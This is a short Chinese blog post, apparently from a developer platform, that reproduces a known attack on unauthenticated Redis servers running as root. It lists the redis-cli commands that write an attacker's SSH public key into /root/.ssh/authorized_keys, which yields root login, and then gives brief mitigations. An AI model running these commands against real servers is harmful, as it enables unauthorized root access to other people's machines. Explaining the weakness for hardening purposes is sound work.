利用老版本 Redis 漏洞获取服务器 root 权限。

1. 背景介绍

redis 服务默认情况下是未配置密码的,如果所在服务器恰好开了外网则此时很容易借助 redis 的漏洞获取到目标服务器的 root 权限。
yum 安装的 3.x 系列的 redis 一般默认开启了 protected 模式,此时只能从 127.0.0.1 连接操作 redis-server:

如果远程连接上,则不能进行操作:

如果用户从本地连上 redis-server,执行了诸如 config set protected-mode no,后重启 redis-server,关闭了protected 模式,且 redis-server 是使用 root 权限的用户起的,则此时其他人很容易通过redis 的漏洞获取到 redis 所在服务器的 root 权限,具体操作步骤如下:

2. 漏洞重现

redis-cli -h 远程连接上 redis 实例。

config set dir /root/.ssh       
config set dbfilename authorized_keys
set xxx "\n\n\n本地公钥信息\n\n\n"         #"本地公钥信息"替换为自己的公钥信息
save   


此时本地的公钥信息即可注入到 redis 所在服务器的 authorized_keys 文件中。
直接 ssh root@ip 即可连上 redis-server 所在的服务器。
查看 /root/.ssh/authorized_keys 文件信息可以看到本地公钥已经写入了。

3. 避免
(1) 为 redis 设置密码
(2) redis 不对公网开放
(3) 使用云厂商提供的 redis 服务,我了解的网易云的主从版的 redis 服务和集群版的 redis 服务默认 redis-cli 是没有 config set 配置权限的。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值